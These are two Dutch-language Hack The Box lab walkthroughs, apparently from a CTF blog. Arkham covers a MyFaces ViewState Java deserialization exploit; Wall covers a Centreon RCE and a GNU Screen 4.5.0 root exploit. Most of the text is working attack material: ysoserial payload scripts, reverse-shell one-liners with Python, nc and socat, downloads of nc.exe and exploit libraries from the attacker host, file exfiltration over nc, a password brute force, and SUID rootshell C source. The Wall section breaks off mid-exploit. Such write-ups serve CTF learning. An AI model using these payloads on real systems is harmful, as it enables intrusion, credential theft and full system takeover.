In poort 80 was een IIS actief en als we binnenkomen, zouden we moeten zien dat er alleen de standaardfoto is, dus niets interessants.

Aan de andere kant lijken we op de Tomcat server op poort 8080 een geconfigureerde website te hebben.

Als we op de link Abonnement bovenaan klikken, worden we doorgestuurd naar /userSubscribe.faces met het volgende formulier.

Op het formulier staat dit verborgen invoerveld.

<input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV/oWNsOb5owxiays=" />

Dit ViewState kenmerk is een mechanisme dat MyFaces gebruikt om de huidige status van de weergave op te slaan. Deze status is een serieel object in Java, wat betekent dat we waarschijnlijk een deserialisatie-aanval in Java moeten uitvoeren.

In de MyFaces documentatie staat alle informatie om te leren hoe deze objecten worden gecodeerd en dus hoe ze moeten worden gedecodeerd.

Ervan uitgaande dat deze server de configuratie gebruikt die we in het vorige bestand hebben gevonden en op basis van de standaardwaarden die in de documentatie worden beschreven, weten we het volgende:

  • STATE_SAVING_METHOD: server
  • GEHEIM: SnNGOTg3Ni0 =
  • MAC_ALGORITHM: HmacSHA1
  • ENCRYPTION_ALGORITHM: DES (standaard)
  • PADDING : PKCS5 (standaard)

Omdat de status aan de serverzijde wordt opgeslagen, is de waarde van de ViewState een geserialiseerd Java-object dat een bepaalde status identificeert.

In ons geval zijn dit de stappen die we moeten volgen om de ViewState te decoderen:

  • URL decodeert de ViewState waarde (omdat ik hem uit burp heb gehaald).
  • Base64 decodeert de ViewState waarde.
  • Base64 decodeert het geheim.
  • DES decodeert de gedecodeerde ViewState waarde met het gedecodeerde geheim.

Ik gebruikte het volgende python script om de decoderingsstappen te reproduceren.

import urllib
import sys
import base64
from Crypto.Cipher import DES

secret = base64.b64decode("SnNGOTg3Ni0=")
obj = DES.new(secret, DES.MODE_ECB)

payload = sys.argv[1]
payload = urllib.unquote(payload)
payload = base64.b64decode(payload)
payload += (8 - len(payload) % 8) * 'X' # must be a multiple of 8 in length
payload = obj.decrypt(payload)
print payload

Inderdaad, op de gedecodeerde waarde kunnen we zien dat onze ViewState een serieel object uit Java is.

root@kali:~/htb/arkham# python decrypt.py wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV/oWNsOb5owxiays%3D
��ur[Ljava.lang.Object;��Xs)lxpt6pt/userSubscribe.jsp��Z�ߴ�9l1�/�i���@�3

Wat we nu moeten doen, is een kwaadaardig serieel java-object maken om opdrachten op het systeem uit te voeren, waarbij de ViewState waarde op het POST-verzoek wordt vervangen. Voor deze taak heb ik ysoserial gebruikt.

ysoserial stelt ons in staat om java-geserialiseerde objecten te maken door een payload-type en de opdracht die we willen uitvoeren te selecteren.

 root @ kali: / opt # java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 "ping 10.10.16.70" |  base64 -w 0
 rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB ++ j / a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB AB5zcQB + + + ABZ1cQB ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB + AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAD3BpbmcgMTAuMTAuMTYuM3QABGV4ZWN1cQB AB4AAAABcQB + + + ACNzcQB ABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5Tgi  wIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6

Helaas werkt het niet als we deze waarde rechtstreeks verzenden, omdat deze moet worden gecodeerd zoals we eerder hebben gezien.

Dit zijn de stappen die we moeten volgen om onze payload te coderen en te ondertekenen om het in ons geval correct te laten werken.

  • Base64 decodeert het geheim.
  • Creëer de ysoserial payload.
  • Versleutel de lading met het gedecodeerde geheim met behulp van DES en PKCS5 padding.
  • Maak een HmacSHA1 handtekening van de gecodeerde waarde en het geheim.
  • Voeg de handtekening toe aan de gecodeerde lading.
  • Base64 codeert de payload.
  • URL codeert de payload.
  • Sturen.

Omdat ik niet wist welk type payload zou werken, probeerde ik ze allemaal om te zien welke werd geaccepteerd.

Om het proces te automatiseren heb ik het volgende python script gemaakt waarin ik een payload maak die een ping tegen mijn machine zou moeten uitvoeren.

import urllib
import base64
import subprocess
import requests
import hashlib
import pyDes
import hmac

url = "http://10.10.10.130:8080/userSubscribe.faces"
r = requests.get(url)
cookie = r.headers['set-cookie']

secret = base64.b64decode("SnNGOTg3Ni0=")
cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5)

types = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"]
for type in types:
	try:
		cmd = 'ping 10.10.16.50'
		ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar ' + type + ' "' + cmd + '"'
		payload = subprocess.check_output(ysoserial, shell=True)
		payload = cipher.encrypt(payload)
		hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest()
		payload = base64.b64encode(payload + hmacSignature)
		payload = urllib.quote(payload)

		headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"}
		data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload
		r = requests.post(url, data=data, headers=headers)
	except:
		continue

Als we tcpdump terwijl het script wordt uitgevoerd, zien we dat er een paar pings zijn verzonden, wat betekent dat we RCE hebben!

root@kali:~/htb# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
07:12:52.153901 IP arkham.htb > kali: ICMP echo request, id 1, seq 1, length 40
07:12:52.153923 IP kali > arkham.htb: ICMP echo reply, id 1, seq 1, length 40
07:12:53.036515 IP arkham.htb > kali: ICMP echo request, id 1, seq 2, length 40
07:12:53.036539 IP kali > arkham.htb: ICMP echo reply, id 1, seq 2, length 40
07:12:53.127305 IP arkham.htb > kali: ICMP echo request, id 1, seq 3, length 40
07:12:53.127328 IP kali > arkham.htb: ICMP echo reply, id 1, seq 3, length 40

Om te zien welke payload-typen werken, kunnen we de opdracht wijzigen om een curl te voeren met als pad de naam van de payload-type, zoals deze.

import urllib
import base64
import subprocess
import requests
import hashlib
import pyDes
import hmac

url = "http://10.10.10.130:8080/userSubscribe.faces"
r = requests.get(url)
cookie = r.headers['set-cookie']

secret = base64.b64decode("SnNGOTg3Ni0=")
cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5)

types = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"]
for type in types:
	try:
		cmd = 'curl http://10.10.16.70/' + type
		ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar ' + type + ' "' + cmd + '"'
		payload = subprocess.check_output(ysoserial, shell=True)
		payload = cipher.encrypt(payload)
		hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest()
		payload = base64.b64encode(payload + hmacSignature)
		payload = urllib.quote(payload)

		headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"}
		data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload
		r = requests.post(url, data=data, headers=headers)
	except:
		continue

En met behulp van de SimpleHTTPServer module zien we dat alleen CommonsCollections5 en CommonsCollections6 werkten.

root@kali:~/htb/arkham# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.130 - - [26/May/2019 17:41:14] code 404, message File not found
10.10.10.130 - - [26/May/2019 17:41:14] "GET /CommonsCollections5 HTTP/1.1" 404 -
10.10.10.130 - - [26/May/2019 17:41:14] code 404, message File not found
10.10.10.130 - - [26/May/2019 17:41:14] "GET /CommonsCollections6 HTTP/1.1" 404 -
10.10.10.130 - - [26/May/2019 17:48:34] code 404, message File not found

Wijzig nu het script een beetje om de gewenste opdracht uit te voeren en gebruik CommonsCollections6 payload-type CommonsCollections6 , waarvan we weten dat het werkt.

import urllib
import base64
import subprocess
import requests
import hashlib
import pyDes
import hmac
import sys

url = "http://10.10.10.130:8080/userSubscribe.faces"
r = requests.get(url)
cookie = r.headers['set-cookie']

cmd = sys.argv[1]

secret = base64.b64decode("SnNGOTg3Ni0=")
cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5)

ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar CommonsCollections6 "' + cmd + '"'
payload = subprocess.check_output(ysoserial, shell=True)
payload = cipher.encrypt(payload)
hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest()
payload = base64.b64encode(payload + hmacSignature)
payload = urllib.quote(payload)

headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"}
data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload
r = requests.post(url, data=data, headers=headers)

Vervolgens, om een ​​shell op het systeem te krijgen, heb ik nc van mijn machine gedownload en gebruikt om een ​​reverse shell uit te voeren.

root@kali:~/htb/arkham# python htb-gotham-rce.py "powershell -command \\\"Invoke-WebRequest -Uri http://10.10.16.70/nc.exe -outfile \\programdata\\nc.exe\\\""

En we zouden een shell als alfred moeten krijgen als we naar de opgegeven poort luisterden.

root@kali:/opt# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.130] 49689
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\tomcat\apache-tomcat-8.5.37\bin>whoami
whoami
arkham\alfred

We hebben de gebruikersvlag op het bureaublad van Alfred.

c:\Users\Alfred\Desktop>type user.txt
type user.txt
ba6*****071

Privilege escalatie

Op Alfred-downloads hebben we een back-upmap met een zip .

C:\Users\Alfred\Downloads\backups>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FA90-3873

 Directory of C:\Users\Alfred\Downloads\backups

02/03/2019  08:41 AM    <DIR>          .
02/03/2019  08:41 AM    <DIR>          ..
02/03/2019  08:41 AM           124,257 backup.zip
               1 File(s)        124,257 bytes
               2 Dir(s)   7,414,816,768 bytes free

Met behulp van nc we dit bestand naar onze machine sturen om het uit te pakken en te zien wat erin zit.

C:\Users\Alfred\Downloads\backups>C:\tomcat\apache-tomcat-8.5.37\bin\nc.exe 10.10.16.70 6868 < backup.zip
C:\tomcat\apache-tomcat-8.5.37\bin\nc.exe 10.10.16.70 6868 < backup.zip
root@kali:~/htb/arkham# nc -nlvp 6868 > backup.zip
listening on [any] 6868 ...
connect to [10.10.16.45] from (UNKNOWN) [10.10.10.130] 50024

Daar hebben we een .ost bestand.

root@kali:~/htb/arkham# unzip backup.zip 
Archive:  backup.zip
  inflating: alfred@arkham.local.ost 

Dat is een Outlook e-mailmap.

root@kali:~/htb/arkham# file alfred@arkham.local.ost 
alfred@arkham.local.ost: Microsoft Outlook email folder

We kunnen de e-mails ophalen met readpst .

root@kali:~/htb/arkham# readpst alfred@arkham.local.ost 
Opening PST file and indexes...
Processing Folder "Deleted Items"
Processing Folder "Inbox"
Processing Folder "Outbox"
Processing Folder "Sent Items"
Processing Folder "Calendar"
Processing Folder "Contacts"
	"Inbox" - 0 items done, 7 items skipped.
Processing Folder "Conversation Action Settings"
Processing Folder "Drafts"
Processing Folder "Journal"
Processing Folder "Junk E-Mail"
Processing Folder "Notes"
Processing Folder "Tasks"
Processing Folder "Sync Issues"
Processing Folder "RSS Feeds"
Processing Folder "Quick Step Settings"
	"alfred@arkham.local.ost" - 15 items done, 0 items skipped.
	"Calendar" - 0 items done, 3 items skipped.
Processing Folder "Conflicts"
Processing Folder "Local Failures"
Processing Folder "Server Failures"
	"Sync Issues" - 3 items done, 0 items skipped.
	"Drafts" - 1 items done, 0 items skipped.

In de map Concepten hebben we de volgende e-mail met een bijgevoegde afbeelding.

 root@kali:~/htb/arkham# cat Drafts.mbox  From "MAILER-DAEMON" Thu Jan 1 00:00:00 1970 From: <MAILER-DAEMON> Subject: To: batman MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--boundary-LibPST-iamunique-897628897_-_-" ... </o:shapelayout></xml><![endif]--></head><body lang=EN-US link="#0563C1" vlink="#954F72" style='tab-interval:.5in'><div class=WordSection1><p class=MsoNormal>Master Wayne stop forgetting your password<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal><span style='mso-no-proof:yes'><img width=677 height=343 id="Picture_x0020_1" src="cid:image001.png@01D4BB4A.F5061EA0"></span><o:p></o:p></p></div></body></html> ----boundary-LibPST-iamunique-897628897_-_- Content-Type: image/png Content-Transfer-Encoding: base64 Content-ID: <image001.png@01D4BB4A.F5061EA0> Content-Disposition: attachment; filename*=utf-8''image001.png; filename="image001.png" iVBORw0KGgoAAAANSUhEUgAAAqUAAAFXCAIAAAAUCKDqAAAAAXNSR0IArs4c6QAAJwVJREFUeF7t 3V+oZdd5GPCjUmibujISRUNh5GhiCya2hI0lVXSoEwXXCRMoqpUXyzR6MFaUIlwh2S9+kB+sB7/Y ElNjWskmDzJ0/FKpItCBGDGSBROGKMYgoaqM3XEsQZBpLazUTelLu8/Z9+677/679jn7O3edO7/L IEbn7v2tb/2+dfa3/5w797qPfuyOhS8CBAgQIEDgWAtcV/T7u7994VjP0eQIECBAYIcF/vKPz97x ...

Decodeer de base64-waarde om de afbeelding te krijgen.

root@kali:~/htb/arkham# echo iVBORw0KGgoAAAANSUhEUgAAAqUAAAFXCAIA... | base64 -d > image001.png

Op de foto hebben we het wachtwoord van Batman ( Zx^#QZX+T!123 ).

En als we de informatie van batman controleren, zien we dat hij deel uitmaakt van de lokale groep Administrators.

C:\Users>net user batman
net user batman
User name                    Batman
Full Name                    
Comment                      
User's comment               
Country/region code          001 (United States)
Account active               Yes
Account expires              Never

Password last set            2/3/2019 9:25:50 AM
Password expires             Never
Password changeable          2/3/2019 9:25:50 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   5/28/2019 1:52:48 AM

Logon hours allowed          All

Local Group Memberships      *Administrators       *Remote Management Use
                             *Users                
Global Group memberships     *None   

Schakel over naar een PowerShell-shell.

C:\Users>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users>

En voer nc als batman om nog een omgekeerde shell te maken.

PS C:\Users> $password = "Zx^#QZX+T!123" | ConvertTo-SecureString -AsPlainText -Force
PS C:\Users> $cred = New-Object System.Management.Automation.PSCredential -ArgumentList "Batman",$password
PS C:\Users> Invoke-Command -ScriptBlock {C:\programdata\nc.exe 10.10.16.70 6767 -e cmd.exe} -Credential $cred -computername localhost

We krijgen een nieuwe shell als batman. Maar we hebben nog steeds geen toegang tot de map Administrator.

root@kali:~/htb/arkham# nc -nlvp 6767
listening on [any] 6767 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.130] 50106
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Batman\Documents>whoami
whoami
arkham\batman
C:\Users>cd Administrator
cd Administrator
Access is denied.

Maar zoals we op de afbeelding hebben gezien, kunnen we shares plaatsen, dus gaan we het C$ -volume in G: .

C:\Users>net use G: \\10.10.10.130\C$
net use G: \\10.10.10.130\C$
The command completed successfully.

Ga nu naar G: waar we het hele bestandssysteem hebben.

C:\Users>G:
G:

G:\>dir
dir
 Volume in drive G has no label.
 Volume Serial Number is FA90-3873

 Directory of G:\

02/03/2019  06:30 PM    <DIR>          inetpub
09/15/2018  12:49 PM    <DIR>          PerfLogs
02/03/2019  09:29 AM    <DIR>          Program Files
09/15/2018  02:36 PM    <DIR>          Program Files (x86)
02/01/2019  09:56 AM    <DIR>          tomcat
02/03/2019  06:54 PM    <DIR>          Users
02/03/2019  06:09 PM    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)   7,410,044,928 bytes free

Nu kunnen we toegang krijgen tot de map Administrator en de vlag van root lezen.

G:\Users\Administrator\Desktop>type root.txt
type root.txt
636*****fdb

Een andere manier is, in plaats van het hele bestandssysteem te mounten, kunnen we eenvoudig root’s flag typen.

C:\Users>type \\10.10.10.130\C$\Users\Administrator\Desktop\root.txt
type \\10.10.10.130\C$\Users\Administrator\Desktop\root.txt
636*****fdb

Gebruikte referentie : https://hipotermia.pw/htb/arkham

gebruikte bestanden : https://github.com/puckiestyle/python/blob/master/htb-arkham-rce.py

Auteur : Puckiestyle

HTB-WALL-NL

Zoals gewoonlijk starten we met een nmap scan

root@kali:~/htb/wall# nmap -sC -sV -oA htb-wall-scan 10.10.10.157
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-18 15:28 EST
Nmap scan report for 10.10.10.157
Host is up (0.053s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.64 seconds

Laten we eens kijken wat er wordt gehost.

We zien een standaard apache2 installatie. Dus we voegen het toe aan onze hostfile als wall.htb en sturen het naar gobuster .

root@kali:~/htb/wall# gobuster dir -u http://wall.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://wall.htb
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/18 15:30:54 Starting gobuster
===============================================================
/monitoring (Status: 401)
/server-status (Status: 403)
===============================================================
2019/12/18 15:34:15 Finished
===============================================================

 

We krijgen slechts twee standaardresultaten terug

Aangezien ik de parameter -x bij de eerste scan heb opgegeven, moeten we deze opnieuw uitvoeren voor bestandsextensies. We zien dat er een paar zijn met de .php-extensie.

Er zijn enkele interessante bestanden en mappen na opsomming. Er is niet veel dat we kunnen doen met de twee nieuwe php bestanden. Wanneer we Burpsuit openen en de site beginnen te porren met Burpsuit en POST aanvragen, zien we dat als we een POST aanvraag sturen naar /monitoring/ we worden doorgestuurd naar /centreon .

Het kan ook met curl

c:\PENTEST>curl -d 'data=data' -X POST http://10.10.10.157/monitoring
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://10.10.10.157/monitoring/">here</a>.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.157 Port 80</address>
</body></html>

c:\PENTEST>curl -d 'data=data' -X POST http://10.10.10.157/monitoring/
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>

<meta http-equiv="refresh" content="0; URL='/centreon'" />

We gaan naar het adres en krijgen een inlogformulier. We zien dat de versie die wordt uitgevoerd 19.04 is. Een snelle searchsploit op Centreon laat ons zien dat er een RCE is voor deze specifieke versie.

We kunnen deze exploit naar onze huidige werkmap kopiëren met de opdracht -m van searchsploit .

searchsploit centreon -m 47069 .

Wanneer we de exploit uitvoeren, zien we onze opties:

In dit geval moeten we gebruikersreferenties verkrijgen om de exploit uit te voeren. Nu kun je deze login bruut forceren met bijvoorbeeld wfuzz 

root@kali:~/htb/wall# wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top1000.txt --hc=403 http://wall.htb/centreon/api/index.php?action=authenticate

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************

Target: http://wall.htb/centreon/api/index.php?action=authenticate
Total requests: 999

===================================================================
ID Response Lines Word Chars Payload 
===================================================================

000000008: 200 0 L 1 W 61 Ch "password1"

Total time: 7.880659
Processed Requests: 999
Filtered Requests: 998
Requests/sec.: 126.7660

root@kali:~/htb/wall#

We hebben nu dus de inlognaam en paswoord , en geven we in onze exploit onze referenties en IP en poort op. Start een nieuwe NC-luisteraar en vuur hem af … Niets. Hmmm, dus we zullen de exploit aanpassen om ons te laten zien wat er aan de hand is. We wijzigen het naar 

https://github.com/puckiestyle/python/blob/master/htb-wall-rce.py

root@kali:~/htb/wall# cat test.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.70",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
root@kali:~/htb/wall# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.157 - - [18/Dec/2019 15:58:43] "GET /test.py HTTP/1.1" 200 -

.

root@kali:~/htb/wall# python htb-wall-rce.py http://10.10.10.157/centreon admin password1 10.10.16.70 1234
[+] Retrieving CSRF token to submit the login form
htb-wall-rce.py:37: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual environment, it may use a different parser and behave differently.

The code that caused this warning is on line 37 of the file htb-wall-rce.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.

  soup = BeautifulSoup(html_content)
[+] Login token is : 88f924d28ec1cffd048157c72ced69b3
[+] Logged In Sucssfully
[+] Retrieving Poller token
htb-wall-rce.py:55: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual environment, it may use a different parser and behave differently.

The code that caused this warning is on line 55 of the file htb-wall-rce.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.

  poller_soup = BeautifulSoup(poller_html)
[+] Poller token is : 1fad90e9ac5a0d8d99c3ce86ad114644
[+] Injecting Done, triggering the payload
[+] Check you netcat listener !

.

root@kali:~/htb/wall# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.157] 36656
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Hieronder de handmatige manier : Command Injection [Centreon]

We zijn met succes ingelogd met admin / password1 ,en zien  de centreon-applicatie-interface. Het eerste waar ik naar keek, was dat we elke opdrachtinjectie in de toepassing kunnen uitvoeren om een omgekeerde shell te krijgen.

Na een paar seconden vond ik een sectie bij Configuraties -> Opdrachten -> Diversen waar ik een opdracht kan toevoegen.

Vervolgens klikte ik op de weergegeven knop Toevoegen, ik voorzag in een sectie om mijn opdracht uit te voeren. Dus zodra ik mijn terminal had opgestart en mijn Socat-luisteraar had ingesteld

SOCAT [Reverse shell]

root@ghost:~# socat file:`tty`,raw,echo=0 TCP-L:4567

                

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.X.X:4567

In de opdrachtnaam schrijf je alles wat je wilt en in de opdrachtsectie heb ik de bovenstaande cmd gebruikt en op de daar geleverde afspeelknop gedrukt om mijn cmd te activeren, zoals hieronder weergegeven.

Zodra ik op de afspeelknop drukte, kreeg ik een reverse shell-verbinding in mijn luisteraar als www-data [Low priviledge shell].

We krijgen een shell terug als www-data ! Nu we aan de machine zijn, kunnen we beginnen met opsommen. We downloaden linenum en kijken waar het mee komt. Een opvallend item is screen-4.5.0 in onze SUID-sectie.

Een snelle searchsploit voor scherm komt terug met twee mogelijke Lokale Privilege-escalaties.

root@kali:~/htb/wall# searchsploit screen | grep 4.5.0
GNU Screen 4.5.0 - Local Privilege Escala | exploits/linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escala | exploits/linux/local/41154.sh

Het exploit-script werkte niet correct, dus compileerde ik de binaire bestanden op mijn kali doos:
libhax.c:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

rootshell.c:

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
root@kali:~/htb/wall# gcc -fPIC -shared -ldl -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    3 |     setuid(0);
      |     ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    4 |     setgid(0);
      |     ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
    5 |     seteuid(0);
      |     ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
    6 |     setegid(0);
      |     ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
    7 |     execvp("/bin/sh", NULL, NULL);
      |     ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]


root@kali:~/htb/wall# gcc -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    3 |     setuid(0);
      |     ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    4 |     setgid(0);
      |     ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
    5 |     seteuid(0);
      |     ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
    6 |     setegid(0);
      |     ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
    7 |     execvp("/bin/sh", NULL, NULL);
      |     ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]

Vervolgens uploadde ik ze naar de box en deed de rest van de exploit:

www-data@Wall:/home/shelby$ cd /tmp/
www-data@Wall:/tmp$ wget http://10.10.xx.xx/libhax.so
